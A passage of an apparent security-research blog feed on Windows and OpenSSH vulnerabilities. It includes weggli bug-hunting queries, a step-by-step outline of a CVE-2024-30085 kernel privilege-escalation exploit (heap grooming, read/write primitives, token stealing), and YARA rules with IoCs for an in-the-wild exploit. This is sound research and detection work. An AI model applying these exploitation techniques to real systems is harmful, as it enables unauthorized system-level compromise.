<p>This is enough to gather many candidates for stack buffer overflow (not all, but many). The query for weggli:</p>
<pre><code>weggli -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_)&quot;
</code></pre>
<p>Next, you need to narrow down the selection. For example, require that the size of the copied buffer is specified by an expression involving subtraction. This highlights places at risk of integer underflow:</p>
<pre><code>weggli.exe -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_(_-_))&quot;
</code></pre>
<p>The vulnerability fixed in September could be highlighted with this query:</p>
<pre><code>weggli -R &quot;$func=RtlCopyMemory|memmove|memcpy&quot; &quot;_ $v; $func(&amp;$v,_,_($a-&gt;$b))
</code></pre>
<p><strong>In this pattern, we are looking for all functions where:</strong></p>
<p>• a buffer is declared on the stack;<br />
• there is a call to <code>memcpy</code>/<code>memmove</code>;<br />
• the address of this stack buffer is passed as the first argument;<br />
• the size of the copied buffer is determined by a field of some structure.</p>
<p>In conclusion, we encourage you to try using weggli-rs and find the fixed vulnerability in the Windows XP SP1 source code.</p>
<p>HINT: <span class="spoiler">it seems you should look in base/fs, and the name of the vulnerable function had something to do with writing to a log or somewhere else</span> 😏</p>
<p>And if you want to learn how to trigger this vulnerability, check out <a href="https://swarm.ptsecurity.com/buried-in-the-log-exploiting-a-20-years-old-ntfs-vulnerability/" rel="noopener" target="_blank">our previous research</a>, published on the PT SWARM blog.</p>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Roots of the CVE-2024-30085 vulnerability</title>
		<link>https://ptesc.tech/en/the-roots-of-vulnerability-cve-2024-30085/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Tue, 11 Mar 2025 17:10:26 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%ba%d0%be%d1%80%d0%bd%d0%b8-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8%d0%bc%d0%be%d1%81%d1%82%d0%b8-cve-2024-30085/</guid>

					<description><![CDATA[Roots of the CVE-2024-30085 Vulnerability 🌳 Back in September of last year, we at ESC-VR successfully reproduced an exploit for CVE-2024-30085 — a vulnerability in the Windows Cloud Files Mini Filter subsystem. The subsystem's code resides…]]></description>
										<content:encoded><![CDATA[<p><strong>Roots of the CVE-2024-30085 Vulnerability</strong> 🌳</p>
<p>Back in September of last year, we at ESC-VR <a href="https://t.me/ptescalator/80" rel="noopener" target="_blank">successfully reproduced</a> an exploit for <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085" rel="noopener" target="_blank">CVE-2024-30085</a> — a vulnerability in the Windows Cloud Files Mini Filter subsystem. The subsystem&#8217;s code resides in <code>cldflt.sys</code> — it is a minifilter driver, and it belongs to the preinstalled client of the Microsoft OneDrive cloud service.</p>
<p>Using the vulnerability and a WNF + ALPC chain, we created primitives for reading from and writing to kernel memory. Thanks to this, we stole a system token and launched a terminal with <code>NT AUTHORITY\SYSTEM</code> privileges.</p>
<p>🧐 Recently, as a follow-up to the publication, we released a detailed analysis of the CVE-2024-30085 vulnerability and the techniques applicable during kernel heap exploitation on <code>Windows 10 22H2 19045.3803</code>.</p>
<p>Read the analysis <a href="https://habr.com/ru/companies/pt/articles/885302/" rel="noopener" target="_blank">in the blog on Habr</a>.</p>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#win</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>What happened to OpenSSH security in 2024</title>
		<link>https://ptesc.tech/en/what-happened-to-openssh-security-in-2024/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Thu, 30 Jan 2025 11:31:34 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%87%d1%82%d0%be-%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%be%d1%88%d0%bb%d0%be-%d1%81-%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c%d1%8e-openssh-%d0%b2-2024-%d0%b3%d0%be%d0%b4/</guid>

					<description><![CDATA[What happened to OpenSSH security in 2024 🚪 Let's look at the timeline: • Spring. Backdoor in xz-utils (CVE-2024-3094). As a result of its introduction, systems with systemd were compromised, where OpenSSH has a dependency on liblzma, which…]]></description>
										<content:encoded><![CDATA[<p><strong>What happened to OpenSSH security in 2024</strong> 🚪</p>
<p>Let&#8217;s look at the timeline:</p>
<p><strong>• Spring</strong>. Backdoor in xz-utils (<code>CVE-2024-3094</code>). As a result of its introduction, systems with <code>systemd</code> were compromised, where OpenSSH has a dependency on <code>liblzma</code>, which is not originally present in OpenSSH and is not directly used by OpenSSH itself <span class="spoiler">(meaning this is more about a supply chain attack on those distributions rather than specifically on OpenSSH)</span>.</p>
<p><strong>• July</strong>. A critically dangerous race condition vulnerability for systems based on glibc, named regreSSHion (<code>CVE-2024-6387</code>), which is a resurrection of <code>CVE-2006-5051</code>.</p>
<p><strong>• Same July.</strong> A similar issue was published, assigned identifier <code>CVE-2024-6409</code>.</p>
<p><strong>• August</strong>. Another one, specific to FreeBSD, <code>CVE-2024-7589</code>.</p>
<p>❔ <strong>What was all this about</strong></p>
<p>Researchers claim that successful exploitation of the race conditions allows achieving RCE on vulnerable systems. Moreover, regreSSHion — the main bug (affecting the privileged <code>sshd</code> process) — compromises the security of many SSH servers running glibc. Exploiting the vulnerability does not require any special server configuration (the issue is also relevant for the default configuration). <strong>However, there is still no public PoC to date</strong>.</p>
<p>We decided to investigate how dangerous these race conditions really are and what mechanisms in <code>sshd</code> are designed to prevent exploitation of this vulnerability or at least mitigate the damage in case of a successful attack. Along the way, we also reviewed the other OpenSSH vulnerabilities from the past year.</p>
<p>🔣 And now all of this, with technical foundations <s>and a 30-second digression</s>, is available <a href="https://habr.com/ru/companies/pt/articles/877102/" rel="noopener" target="_blank">in our blog on Habr</a><a href="https://habr.com/ru/companies/pt/articles/877102/" rel="noopener" target="_blank">.</a> Enjoy!</p>
<p><span class="hashtag">#CVE</span> <span class="hashtag">#escvr</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Not a Pwn2Own bug</title>
		<link>https://ptesc.tech/en/not-a-pwn2own-bug/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Mon, 25 Nov 2024 16:50:07 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<guid isPermaLink="false">http://localhost:8080/not-a-pwn2own-bug/</guid>

					<description><![CDATA[Not a Pwn2Own bug 🙂 CVE-2024-43641: a CWE-190 type error allowed overflowing the reference count on a _CM_KEY_SECURITY instance. The vulnerable code was located in ntoskrnl.exe — in the CmpSetSecurityDescriptorInfo function (screenshot 1)…]]></description>
										<content:encoded><![CDATA[<p><strong>Not a Pwn2Own bug</strong> 🙂</p>
<p><strong>CVE-2024-43641</strong>: a <a href="https://cwe.mitre.org/data/definitions/190.html" rel="noopener" target="_blank">CWE-190</a> type error allowed overflowing the reference count on a <code>_CM_KEY_SECURITY</code> instance. The vulnerable code was located in <code>ntoskrnl.exe</code> — in the CmpSetSecurityDescriptorInfo function (<em>screenshot 1</em>).</p>
<p>In order to reach the vulnerable code, it is necessary to open or create a registry key in transaction mode. This can be done via the <code>RegCreateKeyTransacted</code> function. Since there is no limit on the number of operations that can be recorded within a single transaction, we can successively call the <code>NtSetSecurityObject</code> function. And each such call <strong>will increment the reference count by 1</strong>. </p>
<p>In order for the vulnerability to &#8220;detonate,&#8221; it is necessary to wrap the reference count value around so that its value becomes less than the actual number of operations recorded within the transaction. If this condition is met, then after the transaction the <code>_CM_KEY_SECURITY</code> cell will be freed before the operations that need to be completed have finished, which will lead to use-after-free (<em>screenshot 2</em>).</p>
<p><em>The third screenshot</em> shows part of the <code>CmpDereferenceSecurityNode</code> function responsible for decrementing the reference count and freeing <code>_CM_KEY_SECURITY</code>.</p>
<p>🩹 <strong>About the patch</strong></p>
<p>The patch reworked how the Configuration Manager (CM) subsystem works with references to <code>_CM_KEY_SECURITY</code>, adding at least two new functions — <code>CmpKeySecurityDecrementReferenceCount</code> and <code>CmpKeySecurityIncrementReferenceCount</code>, which will now issue a bugcheck if the reference count becomes equal to zero or if after incrementing it is less than before (<em>screenshot 4</em>).</p>
<p>Fortunately, the vulnerability is hardly likely to be classifiable as exploitable, since overflowing the reference count by successively incrementing it by 1 would require a very long time, and the window within which we have the opportunity to &#8220;slip in&#8221; something is too small and uncontrollable.</p>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_133@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_134@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="1024" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-1024x1024.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-300x300.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-150x150.jpg 150w, https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07-768x768.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_135@25-11-2024_16-50-07.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#cve</span> <span class="hashtag">#escvr</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>CVE-2024-43629 Vulnerability Details</title>
		<link>https://ptesc.tech/en/cve-2024-43629-vulnerability-details/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 13 Nov 2024 16:03:34 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%8d%d0%ba%d1%81%d0%ba%d0%bb%d1%8e%d0%b7%d0%b8%d0%b2%d0%bd%d0%be-%d0%b4%d0%bb%d1%8f-escalator-%d0%ba%d0%be%d0%bc%d0%b0%d0%bd%d0%b4%d0%b0-esc-vr-%d1%80%d0%b0%d1%81%d1%81%d0%ba%d0%b0%d0%b7%d1%8b%d0%b2/</guid>

					<description><![CDATA[😏 Exclusively for Escalator, the ESC-VR team shares details about the vulnerability (CVE-2024-43629) that we found in the Desktop Window Manager component, allowing privilege escalation to system level. The vulnerability was located in the…]]></description>
										<content:encoded><![CDATA[<p>😏<strong> Exclusively for Escalator, the ESC-VR team shares details about the vulnerability (</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43629" rel="noopener" target="_blank">CVE-2024-43629</a><strong>)</strong> that we found in the Desktop Window Manager component, allowing privilege escalation to system level.</p>
<p>The vulnerability was located in the <code>dwmcore.dll</code> library in the <code>CPrimitiveGroupDrawListBrush::IsColorConversionRequired</code> function (<em>screenshot 1</em>). When the <code>CSurfaceBrush</code> and <code>CPrimitiveGroup</code> classes were used together, it allowed reaching code that calculates the position of a <code>CDrawListBitmap</code> class instance in the <code>drawListBitmap_Vec</code> array, which in turn is located in an instance of the <code>CPrimitiveGroupDrawListGenerator</code> class. </p>
<p>With a certain combination of properties of the <code>CSurfaceBrush</code> and <code>CPrimitiveGroup</code> instances, a situation could arise in which the <code>drawListBitmap_Vec</code> pointer would be equal to zero and all calculations would be reduced to working only with the index, and its value would be fully controlled by the attacker and would have the size <code>DWORD</code>. This way, it would be possible to hijack a pointer to a <code>CDrawListBitmap</code> object (<em>screenshot 2</em>).</p>
<figure class="wp-block-image"><img width="1024" height="501" src="https://ptesc.tech/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-1024x501.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-1024x501.jpg 1024w, https://ptesc.tech/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-300x147.jpg 300w, https://ptesc.tech/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34-768x376.jpg 768w, https://ptesc.tech/wp-content/uploads/2024/11/photo_123@13-11-2024_16-03-34.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#win</span> <span class="hashtag">#cve</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Exploit for CVE-2024-30085</title>
		<link>https://ptesc.tech/en/exploit-for-cve-2024-30085/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Tue, 10 Sep 2024 12:26:40 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[news]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bc%d1%8b-esc-vr-%d1%83%d1%81%d0%bf%d0%b5%d1%88%d0%bd%d0%be-%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%b5%d0%bb%d0%b8-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b9%d1%82-%d0%b4%d0%bb/</guid>

					<description><![CDATA[We, ESC-VR, have successfully reproduced the exploit for CVE-2024-30085 😎 The vulnerability was featured at the recent Pwn2Own 2024 in Vancouver, where Team Theori used an exploit for this vulnerability in an exploit chain performing Guest-…]]></description>
										<content:encoded><![CDATA[<strong>We, ESC-VR, have successfully reproduced the exploit for </strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30085" rel="noopener" target="_blank">CVE-2024-30085</a>  😎<br />
<br />
The vulnerability was featured at the recent Pwn2Own 2024 in Vancouver, where Team Theori used an exploit for this vulnerability in an exploit chain performing Guest-To-Host-Escape from under VMware Workstation management, for which they received their well-deserved 13 points in the Master Of Pwn nomination.<br />
<br />
Competitions like pwn2own and matrixcup help highlight real-world exploitable vulnerabilities, exploits for which are typically not disclosed (resulting in a Known-Unknown state, where it is known that an exploit exists, but how it works is unknown), and draw special attention to them, because such competitions are followed not only by us, but also by attackers who can reproduce them and exploit them against an unpatched system.<br />
<br />
🧐 <code>Cldflt.sys</code> — is a minifilter driver responsible for synchronization between the user file system and the OneDrive cloud. The driver had a <code>CWE-122</code> error, arising as a result of incorrect validation of the bitmap size, the contents of which are obtained from a <a href="https://learn.microsoft.com/en-us/windows/win32/fileio/reparse-points" rel="noopener" target="_blank">Reparse Point</a>. At the same time, the memory allocated for the bitmap has a fixed <strong>size of 4096 bytes</strong>, but the size of the actual data that will be copied into the allocated memory is not checked. <br />
<br />
Our exploit utilizes the <a href="https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html" rel="noopener" target="_blank">WNF</a> and <a href="https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html" rel="noopener" target="_blank">ALPC</a> subsystems to obtain write and read primitives, specifically for the <code>_WNF_STATE_DATA and _ALPC_HANDLE_ENTRY</code> structures.<br />
<br />
💡 <strong>A few details about how our exploit works:</strong><br />
<br />
1️⃣ Creates multiple chunks, <strong>4096 bytes in size</strong>, via <code>NtCreateWnfStateName</code> and <code>NtAlpcCreateResourceReserve</code>. This sequentially places <code>_WNF_STATE_DATA and _ALPC_HANDLE_ENTRY</code> in memory.<br />
<br />
2️⃣ Creates multiple holes in the sequence created in step 1, via <code>NtDeleteWnfStateData</code>.<br />
<br />
3️⃣ Triggers the vulnerability, thus the <strong>bitmap</strong> is placed in one of the pre-prepared holes. The <strong>bitmap</strong> size is set equal to <strong>4096 + 16</strong>, in order to overwrite the size of the data (<code>_WNF_STATE_DATA.DataSize</code>) pointed to by <code>_WNF_STATE_DATA.Data</code>.<br />
<br />
4️⃣ Overwrites the pointers in <code>_ALPC_HANDLE_ENTRY</code> via <code>NtUpdateWnfStateData</code>.<br />
<br />
5️⃣ Performs arbitrary address write and read via <code>NtAlpcSendWaitReceivePort</code>.<br />
<br />
6️⃣ Steals the Token from the System process (<strong>Token Stealing</strong>).<br />
<br />
Of course, we could not help but test our own products. And they did not disappoint us: for example, PT Sandbox detects the exploitation of this vulnerability.<br />
<br />
<strong>Verdicts:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">
Exploit.Win32.Generic.d,
Exploit.Win32.Generic.a,
Rootkit.Win32.Generic.a
</code></span></pre><br />
<br />
<span class="hashtag">#escvr</span> <span class="hashtag">#cve</span> <span class="hashtag">#news</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How we found the ITW exploit for CVE-2024-38178</title>
		<link>https://ptesc.tech/en/how-we-found-the-itw-exploit-for-cve-2024-38178/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Wed, 21 Aug 2024 10:03:44 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[itw]]></category>
		<category><![CDATA[jscript9]]></category>
		<category><![CDATA[reverse]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%ba%d0%b0%d0%ba-%d0%bc%d1%8b-%d0%bd%d0%b0%d1%88%d0%bb%d0%b8-itw-%d1%8d%d0%ba%d1%81%d0%bf%d0%bb%d0%be%d0%b9%d1%82-%d0%b4%d0%bb%d1%8f-cve-2024-38178/</guid>

					<description><![CDATA[🔦 How We Found the ITW Exploit for CVE-2024-38178 As part of our monthly review of freshly patched vulnerabilities, our team in ESC-VR pays close attention to vulnerabilities marked as exploited in the wild. Such vulnerabilities become our…]]></description>
										<content:encoded><![CDATA[<p>🔦  <strong>How We Found the ITW Exploit for CVE-2024-38178</strong></p>
<p>As part of our monthly review of freshly patched vulnerabilities, our team in ESC-VR pays close attention to vulnerabilities marked as exploited in the wild. Such vulnerabilities become our primary target, especially when no information about public exploits is available. </p>
<p>The vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38178" rel="noopener" target="_blank">CVE-2024-38178</a><strong> </strong>is a <strong>Type Confusion</strong> memory corruption (<em>CWE-843</em>). Simply put: a situation where a memory region occupied by an object of type A is interpreted by the code as an object of type B.</p>
<p>After analyzing the patch, we found that the changes were made to a function responsible for optimizing array operations, specifically the <code>GlobOpt::OptArraySrc</code> function. The fix added handling for a scenario where the optimizer fails to notice that a variable&#8217;s type can sometimes change at <code>runtime</code>.</p>
<p>If you follow <code>Google ProjectZero</code>&#8216;s work as closely as we do, you&#8217;ve already guessed it 😉</p>
<p>The <code>GlobOpt::OptArraySrc</code> function had already appeared in an <strong>ITW exploit</strong>, specifically in the <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-41128.html" rel="noopener" target="_blank">post</a> describing <strong>CVE-2022-41128</strong>. </p>
<p>That post includes a <code>PoC</code> demonstrating the exploitation of <strong>CVE-2022–41128</strong>. Taking key strings from it, we searched public and private sources for recently uploaded files using the following substrings:</p>
<p><strong>•</strong> <code>6E6577204F626A656374287B0D0A20 </code><br />
<strong>•</strong> <code>206E657720496E7433324172726179</code></p>
<p><strong>We found only one file</strong>. It was uploaded from <code>KR</code>, and the exploit was likely used in attacks in that country, as indirectly indicated by information from the Microsoft <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38178" rel="noopener" target="_blank">bulletin</a>. </p>
<p>Running the file on systems with and without the patch, we quickly realized this was exactly what we were looking for. Due to the high similarity to <strong>CVE-2022-41128</strong>, we believe this vulnerability was also discovered through fuzzing conducted using the <code>PoC</code> for <strong>CVE-2022-41128</strong> and <strong>CVE-2021-34480</strong>.</p>
<p>The exploit creates a situation where the <strong>JIT compiler</strong> is convinced that variable <strong>X</strong> is of type <code>js::TypedArray&lt;int,0&gt;</code>, but in reality <strong>X</strong> holds value <strong>Y</strong> of type <code>js::DynamicObj</code>. The exploit then uses index access at positions 4, 11, and 12 to modify the internal fields of a <code>js::JavaScriptNativeArray</code> located in one of the properties of value <strong>Y</strong>. The modified fields store the array&#8217;s size. </p>
<p>As a result, the exploit enables out-of-bounds access to this array in order to obtain relative write and read primitives. Further description would take an indecent amount of space within a single post, so stay tuned and happy hunting 🙂</p>
<p><strong>YARA rule (for the file):</strong></p>
<pre><code>
rule exploit_CVE_2024_38178 {
      strings:
          $a = { 6E6577204F626A656374287B0D0A20 }
          $b = { 206E657720496E7433324172726179 } 
     condition:
           all of them
}
</code></pre>
<p><strong>IoCs:</strong></p>
<pre><code>
SHA256: 736092B71A9686FDE43D3C4ABD941A6774721B90B17D946C9D05AF19C84DF0A4
</code></pre>
<pre><code>
http://img[.]mobonad[.]com/images/20230912/43
</code></pre>
<p><span class="hashtag">#escvr</span> <span class="hashtag">#itw</span> <span class="hashtag">#jscript9</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
